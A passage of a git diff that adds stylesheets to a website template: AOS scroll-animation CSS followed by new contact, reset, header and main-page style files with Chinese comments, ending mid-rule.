[aos].aos-animate{-webkit-transition-delay:450ms;transition-delay:450ms}[aos][aos][aos-delay='500'],body[aos-delay='500'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='500'].aos-animate,body[aos-delay='500'] [aos].aos-animate{-webkit-transition-delay:.5s;transition-delay:.5s}[aos][aos][aos-delay='550'],body[aos-delay='550'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='550'].aos-animate,body[aos-delay='550'] [aos].aos-animate{-webkit-transition-delay:550ms;transition-delay:550ms}[aos][aos][aos-delay='600'],body[aos-delay='600'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='600'].aos-animate,body[aos-delay='600'] [aos].aos-animate{-webkit-transition-delay:.6s;transition-delay:.6s}[aos][aos][aos-delay='650'],body[aos-delay='650'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='650'].aos-animate,body[aos-delay='650'] [aos].aos-animate{-webkit-transition-delay:650ms;transition-delay:650ms}[aos][aos][aos-delay='700'],body[aos-delay='700'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='700'].aos-animate,body[aos-delay='700'] [aos].aos-animate{-webkit-transition-delay:.7s;transition-delay:.7s}[aos][aos][aos-delay='750'],body[aos-delay='750'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='750'].aos-animate,body[aos-delay='750'] [aos].aos-animate{-webkit-transition-delay:750ms;transition-delay:750ms}[aos][aos][aos-delay='800'],body[aos-delay='800'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='800'].aos-animate,body[aos-delay='800'] [aos].aos-animate{-webkit-transition-delay:.8s;transition-delay:.8s}[aos][aos][aos-delay='850'],body[aos-delay='850'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='850'].aos-animate,body[aos-delay='850'] [aos].aos-animate{-webkit-transition-delay:850ms;transition-delay:850ms}[aos][aos][aos-delay='900'],body[aos-delay='900'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='900'].aos-animate,body[aos-delay='900'] [aos].aos-animate{-webkit-transition-delay:.9s;transition-delay:.9s}[aos][aos][aos-delay='950'],body[aos-delay='950'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='950'].aos-animate,body[aos-delay='950'] [aos].aos-animate{-webkit-transition-delay:950ms;transition-delay:950ms}[aos][aos][aos-delay='1000'],body[aos-delay='1000'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='1000'].aos-animate,body[aos-delay='1000'] [aos].aos-animate{-webkit-transition-delay:1s;transition-delay:1s}[aos][aos][aos-delay='1050'],body[aos-delay='1050'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='1050'].aos-animate,body[aos-delay='1050'] [aos].aos-animate{-webkit-transition-delay:1.05s;transition-delay:1.05s}[aos][aos][aos-delay='1100'],body[aos-delay='1100'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='1100'].aos-animate,body[aos-delay='1100'] [aos].aos-animate{-webkit-transition-delay:1.1s;transition-delay:1.1s}[aos][aos][aos-delay='1150'],body[aos-delay='1150'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='1150'].aos-animate,body[aos-delay='1150'] [aos].aos-animate{-webkit-transition-delay:1.15s;transition-delay:1.15s}[aos][aos][aos-delay='1200'],body[aos-delay='1200'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='1200'].aos-animate,body[aos-delay='1200'] [aos].aos-animate{-webkit-transition-delay:1.2s;transition-delay:1.2s}[aos][aos][aos-delay='1250'],body[aos-delay='1250'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='1250'].aos-animate,body[aos-delay='1250'] [aos].aos-animate{-webkit-transition-delay:1.25s;transition-delay:1.25s}[aos][aos][aos-delay='1300'],body[aos-delay='1300'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='1300'].aos-animate,body[aos-delay='1300'] [aos].aos-animate{-webkit-transition-delay:1.3s;transition-delay:1.3s}[aos][aos][aos-delay='1350'],body[aos-delay='1350'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='1350'].aos-animate,body[aos-delay='1350'] [aos].aos-animate{-webkit-transition-delay:1.35s;transition-delay:1.35s}[aos][aos][aos-delay='1400'],body[aos-delay='1400'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='1400'].aos-animate,body[aos-delay='1400'] [aos].aos-animate{-webkit-transition-delay:1.4s;transition-delay:1.4s}[aos][aos][aos-delay='1450'],body[aos-delay='1450'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='1450'].aos-animate,body[aos-delay='1450'] [aos].aos-animate{-webkit-transition-delay:1.45s;transition-delay:1.45s}[aos][aos][aos-delay='1500'],body[aos-delay='1500'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='1500'].aos-animate,body[aos-delay='1500'] [aos].aos-animate{-webkit-transition-delay:1.5s;transition-delay:1.5s}[aos][aos][aos-delay='1550'],body[aos-delay='1550'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='1550'].aos-animate,body[aos-delay='1550'] [aos].aos-animate{-webkit-transition-delay:1.55s;transition-delay:1.55s}[aos][aos][aos-delay='1600'],body[aos-delay='1600'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='1600'].aos-animate,body[aos-delay='1600'] [aos].aos-animate{-webkit-transition-delay:1.6s;transition-delay:1.6s}[aos][aos][aos-delay='1650'],body[aos-delay='1650'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='1650'].aos-animate,body[aos-delay='1650'] [aos].aos-animate{-webkit-transition-delay:1.65s;transition-delay:1.65s}[aos][aos][aos-delay='1700'],body[aos-delay='1700'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='1700'].aos-animate,body[aos-delay='1700'] [aos].aos-animate{-webkit-transition-delay:1.7s;transition-delay:1.7s}[aos][aos][aos-delay='1750'],body[aos-delay='1750'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='1750'].aos-animate,body[aos-delay='1750'] [aos].aos-animate{-webkit-transition-delay:1.75s;transition-delay:1.75s}[aos][aos][aos-delay='1800'],body[aos-delay='1800'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='1800'].aos-animate,body[aos-delay='1800'] [aos].aos-animate{-webkit-transition-delay:1.8s;transition-delay:1.8s}[aos][aos][aos-delay='1850'],body[aos-delay='1850'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='1850'].aos-animate,body[aos-delay='1850'] [aos].aos-animate{-webkit-transition-delay:1.85s;transition-delay:1.85s}[aos][aos][aos-delay='1900'],body[aos-delay='1900'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='1900'].aos-animate,body[aos-delay='1900'] [aos].aos-animate{-webkit-transition-delay:1.9s;transition-delay:1.9s}[aos][aos][aos-delay='1950'],body[aos-delay='1950'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='1950'].aos-animate,body[aos-delay='1950'] [aos].aos-animate{-webkit-transition-delay:1.95s;transition-delay:1.95s}[aos][aos][aos-delay='2000'],body[aos-delay='2000'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='2000'].aos-animate,body[aos-delay='2000'] [aos].aos-animate{-webkit-transition-delay:2s;transition-delay:2s}[aos][aos][aos-delay='2050'],body[aos-delay='2050'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='2050'].aos-animate,body[aos-delay='2050'] [aos].aos-animate{-webkit-transition-delay:2.05s;transition-delay:2.05s}[aos][aos][aos-delay='2100'],body[aos-delay='2100'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='2100'].aos-animate,body[aos-delay='2100'] [aos].aos-animate{-webkit-transition-delay:2.1s;transition-delay:2.1s}[aos][aos][aos-delay='2150'],body[aos-delay='2150'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='2150'].aos-animate,body[aos-delay='2150'] [aos].aos-animate{-webkit-transition-delay:2.15s;transition-delay:2.15s}[aos][aos][aos-delay='2200'],body[aos-delay='2200'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='2200'].aos-animate,body[aos-delay='2200'] [aos].aos-animate{-webkit-transition-delay:2.2s;transition-delay:2.2s}[aos][aos][aos-delay='2250'],body[aos-delay='2250'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='2250'].aos-animate,body[aos-delay='2250'] [aos].aos-animate{-webkit-transition-delay:2.25s;transition-delay:2.25s}[aos][aos][aos-delay='2300'],body[aos-delay='2300'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='2300'].aos-animate,body[aos-delay='2300'] [aos].aos-animate{-webkit-transition-delay:2.3s;transition-delay:2.3s}[aos][aos][aos-delay='2350'],body[aos-delay='2350'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='2350'].aos-animate,body[aos-delay='2350'] [aos].aos-animate{-webkit-transition-delay:2.35s;transition-delay:2.35s}[aos][aos][aos-delay='2400'],body[aos-delay='2400'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='2400'].aos-animate,body[aos-delay='2400'] [aos].aos-animate{-webkit-transition-delay:2.4s;transition-delay:2.4s}[aos][aos][aos-delay='2450'],body[aos-delay='2450'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='2450'].aos-animate,body[aos-delay='2450'] [aos].aos-animate{-webkit-transition-delay:2.45s;transition-delay:2.45s}[aos][aos][aos-delay='2500'],body[aos-delay='2500'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='2500'].aos-animate,body[aos-delay='2500'] [aos].aos-animate{-webkit-transition-delay:2.5s;transition-delay:2.5s}[aos][aos][aos-delay='2550'],body[aos-delay='2550'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='2550'].aos-animate,body[aos-delay='2550'] [aos].aos-animate{-webkit-transition-delay:2.55s;transition-delay:2.55s}[aos][aos][aos-delay='2600'],body[aos-delay='2600'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='2600'].aos-animate,body[aos-delay='2600'] [aos].aos-animate{-webkit-transition-delay:2.6s;transition-delay:2.6s}[aos][aos][aos-delay='2650'],body[aos-delay='2650'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='2650'].aos-animate,body[aos-delay='2650'] [aos].aos-animate{-webkit-transition-delay:2.65s;transition-delay:2.65s}[aos][aos][aos-delay='2700'],body[aos-delay='2700'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='2700'].aos-animate,body[aos-delay='2700'] [aos].aos-animate{-webkit-transition-delay:2.7s;transition-delay:2.7s}[aos][aos][aos-delay='2750'],body[aos-delay='2750'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='2750'].aos-animate,body[aos-delay='2750'] [aos].aos-animate{-webkit-transition-delay:2.75s;transition-delay:2.75s}[aos][aos][aos-delay='2800'],body[aos-delay='2800'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='2800'].aos-animate,body[aos-delay='2800'] [aos].aos-animate{-webkit-transition-delay:2.8s;transition-delay:2.8s}[aos][aos][aos-delay='2850'],body[aos-delay='2850'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='2850'].aos-animate,body[aos-delay='2850'] [aos].aos-animate{-webkit-transition-delay:2.85s;transition-delay:2.85s}[aos][aos][aos-delay='2900'],body[aos-delay='2900'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='2900'].aos-animate,body[aos-delay='2900'] [aos].aos-animate{-webkit-transition-delay:2.9s;transition-delay:2.9s}[aos][aos][aos-delay='2950'],body[aos-delay='2950'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='2950'].aos-animate,body[aos-delay='2950'] [aos].aos-animate{-webkit-transition-delay:2.95s;transition-delay:2.95s}[aos][aos][aos-delay='3000'],body[aos-delay='3000'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='3000'].aos-animate,body[aos-delay='3000'] [aos].aos-animate{-webkit-transition-delay:3s;transition-delay:3s}[aos^=fade][aos^=fade]{opacity:0;-webkit-transition-property:all;transition-property:all}[aos^=fade][aos^=fade].aos-animate{opacity:1}[aos=fade-up]{-webkit-transform:translate(0,100px);-ms-transform:translate(0,100px);transform:translate(0,100px)}[aos=fade-up].aos-animate{-webkit-transform:translate(0,0);-ms-transform:translate(0,0);transform:translate(0,0)}[aos=fade-down]{-webkit-transform:translate(0,-100px);-ms-transform:translate(0,-100px);transform:translate(0,-100px)}[aos=fade-down].aos-animate{-webkit-transform:translate(0,0);-ms-transform:translate(0,0);transform:translate(0,0)}[aos=fade-right]{-webkit-transform:translate(-100px,0);-ms-transform:translate(-100px,0);transform:translate(-100px,0)}[aos=fade-right].aos-animate{-webkit-transform:translate(0,0);-ms-transform:translate(0,0);transform:translate(0,0)}[aos=fade-left]{-webkit-transform:translate(100px,0);-ms-transform:translate(100px,0);transform:translate(100px,0)}[aos=fade-left].aos-animate{-webkit-transform:translate(0,0);-ms-transform:translate(0,0);transform:translate(0,0)}[aos=fade-up-right]{-webkit-transform:translate(-100px,100px);-ms-transform:translate(-100px,100px);transform:translate(-100px,100px)}[aos=fade-up-right].aos-animate{-webkit-transform:translate(0,0);-ms-transform:translate(0,0);transform:translate(0,0)}[aos=fade-up-left]{-webkit-transform:translate(100px,100px);-ms-transform:translate(100px,100px);transform:translate(100px,100px)}[aos=fade-up-left].aos-animate{-webkit-transform:translate(0,0);-ms-transform:translate(0,0);transform:translate(0,0)}[aos=fade-down-right]{-webkit-transform:translate(-100px,-100px);-ms-transform:translate(-100px,-100px);transform:translate(-100px,-100px)}[aos=fade-down-right].aos-animate{-webkit-transform:translate(0,0);-ms-transform:translate(0,0);transform:translate(0,0)}[aos=fade-down-left]{-webkit-transform:translate(100px,-100px);-ms-transform:translate(100px,-100px);transform:translate(100px,-100px)}[aos=fade-down-left].aos-animate{-webkit-transform:translate(0,0);-ms-transform:translate(0,0);transform:translate(0,0)}[aos^=zoom][aos^=zoom]{opacity:0;-webkit-transition-property:all;transition-property:all}[aos^=zoom][aos^=zoom].aos-animate{opacity:1}[aos=zoom-in]{-webkit-transform:scale(.6);-ms-transform:scale(.6);transform:scale(.6)}[aos=zoom-in].aos-animate{-webkit-transform:scale(1);-ms-transform:scale(1);transform:scale(1)}[aos=zoom-in-up]{-webkit-transform:translate(0,100px) scale(.6);-ms-transform:translate(0,100px) scale(.6);transform:translate(0,100px) scale(.6)}[aos=zoom-in-up].aos-animate{-webkit-transform:translate(0,0) scale(1);-ms-transform:translate(0,0) scale(1);transform:translate(0,0) scale(1)}[aos=zoom-in-down]{-webkit-transform:translate(0,-100px) scale(.6);-ms-transform:translate(0,-100px) scale(.6);transform:translate(0,-100px) scale(.6)}[aos=zoom-in-down].aos-animate{-webkit-transform:translate(0,0) scale(1);-ms-transform:translate(0,0) scale(1);transform:translate(0,0) scale(1)}[aos=zoom-in-right]{-webkit-transform:translate(-100px,0) scale(.6);-ms-transform:translate(-100px,0) scale(.6);transform:translate(-100px,0) scale(.6)}[aos=zoom-in-right].aos-animate{-webkit-transform:translate(0,0) scale(1);-ms-transform:translate(0,0) scale(1);transform:translate(0,0) scale(1)}[aos=zoom-in-left]{-webkit-transform:translate(100px,0) scale(.6);-ms-transform:translate(100px,0) scale(.6);transform:translate(100px,0) scale(.6)}[aos=zoom-in-left].aos-animate{-webkit-transform:translate(0,0) scale(1);-ms-transform:translate(0,0) scale(1);transform:translate(0,0) scale(1)}[aos=zoom-out]{-webkit-transform:scale(1.2);-ms-transform:scale(1.2);transform:scale(1.2)}[aos=zoom-out].aos-animate{-webkit-transform:scale(1);-ms-transform:scale(1);transform:scale(1)}[aos=zoom-out-up]{-webkit-transform:translate(0,100px) scale(1.2);-ms-transform:translate(0,100px) scale(1.2);transform:translate(0,100px) scale(1.2)}[aos=zoom-out-up].aos-animate{-webkit-transform:translate(0,0) scale(1);-ms-transform:translate(0,0) scale(1);transform:translate(0,0) scale(1)}[aos=zoom-out-down]{-webkit-transform:translate(0,-100px) scale(1.2);-ms-transform:translate(0,-100px) scale(1.2);transform:translate(0,-100px) scale(1.2)}[aos=zoom-out-down].aos-animate{-webkit-transform:translate(0,0) scale(1);-ms-transform:translate(0,0) scale(1);transform:translate(0,0) scale(1)}[aos=zoom-out-right]{-webkit-transform:translate(-100px,0) scale(1.2);-ms-transform:translate(-100px,0) scale(1.2);transform:translate(-100px,0) scale(1.2)}[aos=zoom-out-right].aos-animate{-webkit-transform:translate(0,0) scale(1);-ms-transform:translate(0,0) scale(1);transform:translate(0,0) scale(1)}[aos=zoom-out-left]{-webkit-transform:translate(100px,0) scale(1.2);-ms-transform:translate(100px,0) scale(1.2);transform:translate(100px,0) scale(1.2)}[aos=zoom-out-left].aos-animate{-webkit-transform:translate(0,0) scale(1);-ms-transform:translate(0,0) scale(1);transform:translate(0,0) scale(1)}[aos=slide-up]{-webkit-transform:translate(0,100%);-ms-transform:translate(0,100%);transform:translate(0,100%)}[aos=slide-up].aos-animate{-webkit-transform:translate(0,0);-ms-transform:translate(0,0);transform:translate(0,0)}[aos=slide-down]{-webkit-transform:translate(0,-100%);-ms-transform:translate(0,-100%);transform:translate(0,-100%)}[aos=slide-down].aos-animate{-webkit-transform:translate(0,0);-ms-transform:translate(0,0);transform:translate(0,0)}[aos=slide-right]{-webkit-transform:translate(-100%,0);-ms-transform:translate(-100%,0);transform:translate(-100%,0)}[aos=slide-right].aos-animate{-webkit-transform:translate(0,0);-ms-transform:translate(0,0);transform:translate(0,0)}[aos=slide-left]{-webkit-transform:translate(100%,0);-ms-transform:translate(100%,0);transform:translate(100%,0)}[aos=slide-left].aos-animate{-webkit-transform:translate(0,0);-ms-transform:translate(0,0);transform:translate(0,0)}[aos^=flip]{-webkit-backface-visibility:hidden;backface-visibility:hidden}[aos=flip-left]{-webkit-transform:perspective(2500px) rotateY(-100deg);transform:perspective(2500px) rotateY(-100deg)}[aos=flip-left].aos-animate{-webkit-transform:perspective(2500px) rotateY(0);transform:perspective(2500px) rotateY(0)}[aos=flip-right]{-webkit-transform:perspective(2500px) rotateY(100deg);transform:perspective(2500px) rotateY(100deg)}[aos=flip-right].aos-animate{-webkit-transform:perspective(2500px) rotateY(0);transform:perspective(2500px) rotateY(0)}[aos=flip-up]{-webkit-transform:perspective(2500px) rotateX(-100deg);transform:perspective(2500px) rotateX(-100deg)}[aos=flip-up].aos-animate{-webkit-transform:perspective(2500px) rotateX(0);transform:perspective(2500px) rotateX(0)}[aos=flip-down]{-webkit-transform:perspective(2500px) rotateX(100deg);transform:perspective(2500px) rotateX(100deg)}[aos=flip-down].aos-animate{-webkit-transform:perspective(2500px) rotateX(0);transform:perspective(2500px) rotateX(0)} \ No newline at end of file diff --git a/template/index10/assets/css/common_contact.css b/template/index10/assets/css/common_contact.css new file mode 100644 index 0000000..63ebb93 --- /dev/null +++ b/template/index10/assets/css/common_contact.css @@ -0,0 +1,155 @@ +@charset "utf-8"; +/*联系我们-样式*/ +.contact_comBox{ + width: 100%; +} +.contact_comBox .contactUs{ + width: 100%; +} +/*列表页-联系我们-开始*/ +.contact_listBox{ + background: url(../images/map_bg.png) no-repeat left 450px/424px 450px; + padding-bottom: 150px; +} +.contact_comBox .contactUs_content{ + margin-top: -300px; +} +.contact_comBox .contactUs .contactUs_listMap{ + width: 1200px; + height: 600px; + margin-top: 40px; +} +.iw_poi_title {color:#CC5522;font-size:14px;font-weight:bold;overflow:hidden;padding-right:13px;white-space:nowrap} +.iw_poi_content {font:12px arial,sans-serif;overflow:visible;padding-top:4px;white-space:-moz-pre-wrap;word-wrap:break-word} +.contact_comBox .contactUs .contactUs_listMap .listMap_mapBox{ + width: 1200px; + height: 600px; + border: 1px solid #CCCCCC; +} +/*列表页-联系我们-结束*/ +.contact_comBox .contactUs_index{ + height: 572px; + background: url(../images/contactus_bg.png) no-repeat left center/766px 572px; + margin-top: 130px; +} +.contact_comBox .contactUs .contactUs_title{ + width: 100%; + text-align: center; + font-size: 30px; +} +.contact_comBox .contactUs .contactUs_indexTitle{ + color: #000000; +} +.contact_comBox .contactUs .contactUs_listTitle{ + color: #FFFFFF; +} +.contact_comBox .contactUs .contactUs_line{ + width: 60px; + height: 3px; + background: #d2d2d2; + margin: 10px auto; +} +.contact_comBox .contactUs .contactUs_listTxt{ + width: 100%; + text-align: center; + font-size: 18px; + color: #FFFFFF; + padding: 10px 0; +} +.contact_comBox .contactUs .contactUs_main{ + width: 100%; + overflow: hidden; +} +.contact_comBox .contactUs .contactUs_main li{ + width: 360px; + height: 240px; + background: #FFFFFF; + border-radius: 7px; + position: relative; + -webkit-box-shadow: 0 3px 8px rgba(0,0,0,.1), 3px 0 8px rgba(0,0,0,.1), 0 4px 24px rgba(0,0,0,.05); + box-shadow: 0 3px 8px rgba(0,0,0,.1), 3px 0 8px rgba(0,0,0,.1), 0 4px 24px rgba(0,0,0,.05); + transition: all 0.3s; +} +.contact_comBox .contactUs .contactUs_main .contactUs_liMargin1{ + margin-left: 15px; + margin-right: 15px; + margin-top: 50px; + margin-bottom: 20px; +} +.contact_comBox .contactUs .contactUs_main .contactUs_liMargin2{ + margin-left: 30px; + margin-right: 30px; + margin-top: 50px; + margin-bottom: 20px; +} +.contact_comBox .contactUs .contactUs_main li .contactUs_icon{ + display: block; + margin: 40px auto 20px auto; +} +.contact_comBox .contactUs .contactUs_main li .contactUs_icon1{ + width: 23px; + height: 29px; + background: url(../images/address1.png) no-repeat; + background-size: 100%; +} +.contact_comBox .contactUs .contactUs_main li .contactUs_icon2{ + width: 31px; + height: 26px; + background: url(../images/tell.png) no-repeat; + background-size: 100%; +} +.contact_comBox .contactUs .contactUs_main li .contactUs_icon3{ + width: 28px; + height: 20px; + background: url(../images/email.png) no-repeat; + background-size: 100%; +} +.contact_comBox .contactUs .contactUs_main li:hover{ + margin-top: 28px; +} +.contact_comBox .contactUs .contactUs_main li:hover .contactUs_mainLine{ + background: #4e7dff; +} +.contact_comBox .contactUs .contactUs_main li:hover .contactUs_mainBot{ + display: block; +} +.contact_comBox .contactUs .contactUs_main li:hover .contactUs_icon1{ + background: url(../images/address.png) no-repeat; +} +.contact_comBox .contactUs .contactUs_main li:hover .contactUs_icon2{ + background: url(../images/tell1.png) no-repeat; +} +.contact_comBox .contactUs .contactUs_main li:hover .contactUs_icon3{ + background: url(../images/email1.png) no-repeat; +} +.contact_comBox .contactUs .contactUs_main li .contactUs_mainTit{ + display: block; + width: 100%; + text-align: center; + font-size: 20px; + color: #BBBBBB; +} +.contact_comBox .contactUs .contactUs_main li .contactUs_mainLine{ + display: block; + width: 60px; + margin: 15px auto 30px auto; + height: 4px; + background: #707070; +} +.contact_comBox .contactUs .contactUs_main li .contactUs_mainTxt{ + display: block; + width: 100%; + text-align: center; + font-size: 18px; + color: #909090; +} +.contact_comBox .contactUs .contactUs_main li .contactUs_mainBot{ + display: block; + width: 100%; + height: 8px; + background: #4e7dff; + position: absolute; + bottom: 0; + left: 0; + display: none; +} \ No newline at end of file diff --git a/template/index10/assets/css/default.css b/template/index10/assets/css/default.css new file mode 100644 index 0000000..863b382 --- /dev/null +++ b/template/index10/assets/css/default.css @@ -0,0 +1,57 @@ +html, body, div, span, applet, object, iframe, h1, h2, h3, h4, h5, h6, p, blockquote, pre, a, abbr, acronym, address, big, cite, code, del, dfn, em, font, img, ins, kbd, q, s, samp, small, strike, strong, sub, sup, tt, var, dd, dl, dt, li, ol, ul, fieldset, form, label, legend{ + +margin: 0; padding: 0; border: 0; outline: 0; font-weight: inherit; font-style: inherit; font-family: inherit; font-size:100%; text-align: left; + +vertical-align: baseline; + +} +*{ + margin: 0; + padding: 0; + box-sizing: border-box; + font-family: Arial, '微软雅黑'; +} +img { +border:none; + -webkit-user-select: none; +-moz-user-select: none; +-ms-user-select: none; +user-select: none; +} +q:before, q:after, blockquote:before, blockquote:after { +content: ""; +} +/* 基础样式----------------------------------------*/ +body{ +text-align:center; width:100%; position: relative; overflow-x: hidden; +} +/*--- 链接样式 ---*/ +a{ +text-decoration:none; +} +a:hover, a:active{ +text-decoration: none; +} +ul{ list-style-type:none;} +ul, li { + list-style: none; +} +blockquote { +margin: 0 0 18px 18px; font-style: italic; +} +strong {font-weight:bold;} +em {font-style:italic;} +/* 常用样式----------------------------------------*/ +.left {float:left;} +.right {float:right;} +.clear {clear:both;} +.center{ + width: 1200px; + margin: 0 auto; +} +.payment_item8,.about,.process,.advantage,.contact_box,footer,a,p,span,div{ + font-family: Arial, '微软雅黑'; +} +.cursor{ + cursor: pointer; +} diff --git a/template/index10/assets/css/header_common.css b/template/index10/assets/css/header_common.css new file mode 100644 index 0000000..e6ccc80 --- /dev/null +++ b/template/index10/assets/css/header_common.css @@ -0,0 +1,179 @@ +@charset "utf-8"; +/*头部样式*/ +.header_common{ + width: 100%; + min-width: 1200px; + height: 500px; + background: url(../images/header_combg.png) no-repeat left top; +} +/*顶部样式*/ +.navBox{ + width: 100%; + padding: 18px 45px 15px 100px; + overflow: hidden; + height: 100px; +} +.navBox .logo{ + width: 177px; + height: 51px; +} +.navBox .logo img{ + width: 100%; + height: 100%; +} +.navBox .navBox_right .nav li{ + padding: 6px 25px; + line-height: 42px; + font-family: simhei; +} +.navBox .navBox_right .nav li a{ + display: block; + //font-family:simhei; + color: #aabdf1; + font-size: 15px; + padding: 0 4px; + border-bottom: 2px solid rgba(255,255,255,0); + -webkit-transition:all 0.1s; + -moz-transition:all 0.1s; + -o-transition:all 0.1s; + transition:all 0.1s; +} +.navBox .navBox_right .nav li a:hover{ + border-bottom: 2px solid #fff; + font-weight: bold; + color: #fff; + -webkit-transform: scale(1.1); + -moz-transform:scale(1.1); + -o-transform:scale(1.1); + transform:scale(1.1); +} +.navBox .navBox_right .nav li a.active{ + color: #fff; + font-weight: bold; + border-bottom: 2px solid rgba(255,255,255,1.0); + -webkit-transform: scale(1.1); + -moz-transform:scale(1.1); + -o-transform:scale(1.1); + transform:scale(1.1); +} +.navBox .navBox_right .btn_common{ + display: block; + //font-family:simhei; + width: 100px; + height: 40px; + border: 1px solid #fff; + border-radius: 20px; + line-height: 38px; + text-align: center; + font-size: 16px; + color: #fff; + margin-left: 27px; + margin-top: 6px; +} +.navBox .navBox_right .btn_common:hover{ + background: #fff; + color: #4964de; +} +.navBox .navBox_right .btn_common.active{ + background: #fff; + color: #4964de; +} +/*右侧社交固定*/ +.right_fixed{ + position: fixed; + bottom: 60px; + right: 0; + width: 160px; + height: 240px; + z-index: 100; +} +.right_fixed .right_conBox{ + cursor: pointer; + transition: all 0.8s; + width: 160px; + height: 60px; +} +.right_fixed .right_conBox .rightPhoto_common{ + width: 60px; + height: 60px; + border: 1px solid #dddddd; + border-bottom: none; +} +.right_fixed .right_conBox .right_tellPhoto{ + border-top-left-radius: 5px; + border-top-right-radius: 5px; + background: #FFFFFF url(../images/right_tell1.png) no-repeat center/23px 31px; +} +.right_fixed .right_conBox .right_qqPhoto{ + border-bottom: 1px solid #dddddd; + background: #FFFFFF url(../images/qq.png) no-repeat center/26px 28px; +} +.rightShow_common{ + width: 160px; + height: 60px; + overflow: hidden; + border: 1px solid #4E7DFF; + display: none; +} +.right_tellShow{ + border: 1px solid #4E7DFF; + border-bottom: none; +} +.right_qqShow{ + border: 1px solid #4E7DFF; +} +.rightImg_comm{ + width: 60px; + height: 58px; +} +.right_tellShow .right_tellImg{ + background: #4E7DFF url(../images/right_tell2.png) no-repeat 19px center/23px 31px; +} +.rightShow_common .right_qqImg{ + background: #4E7DFF url(../images/qq2.png) no-repeat center/26px 28px; +} +.rightNum_comm{ + width: 98px; + height: 58px; + background: #4e7dff; + font-size: 14px; + color: #FFFFFF; + line-height: 58px; +} + +.right_fixed .right_qq{ + width: 160px; + height: 60px; + border-left: 1px solid #dddddd; + border-right: 1px solid #dddddd; +} +.right_fixed .right_qq .right_qqPhoto{ + width: 60px; + height: 58px; + border-left: 1px solid #dddddd; + border-right: 1px solid #dddddd; + background: #FFFFFF url(../images/qq.png) no-repeat center/26px 28px; +} +.right_fixed .right_scrollTop{ + width: 160px; + height: 60px; +} +.right_fixed .right_scrollTop .right_scrollTopPhoto{ + width: 60px; + height: 60px; + background: #FFFFFF url(../images/scrolltop.png) no-repeat 21px 12px/17px 19px; + border: 1px solid #dddddd; + border-top: none; + border-bottom-left-radius: 5px; + border-bottom-right-radius: 5px; + font-size: 12px; + color: #666666; + line-height: 82px; + text-align: center; + cursor: pointer; +} +.right_fixed .right_scrollTop .right_scrollTopPhoto:hover{ + background: #4E7DFF url(../images/scrolltop2.png) no-repeat 21px 12px/17px 19px; + color: #FFFFFF; + border: 1px solid #4E7DFF; +} \ No newline at end of file diff --git a/template/index10/assets/css/index_main.css b/template/index10/assets/css/index_main.css new file mode 100644 index 0000000..aa075a1 --- /dev/null +++ b/template/index10/assets/css/index_main.css @@ -0,0 +1,596 @@ +@charset "utf-8"; +/*头部样式*/ +.index_header{ + height: 830px; + max-height: 830px; + background: url(../images/banner.png) 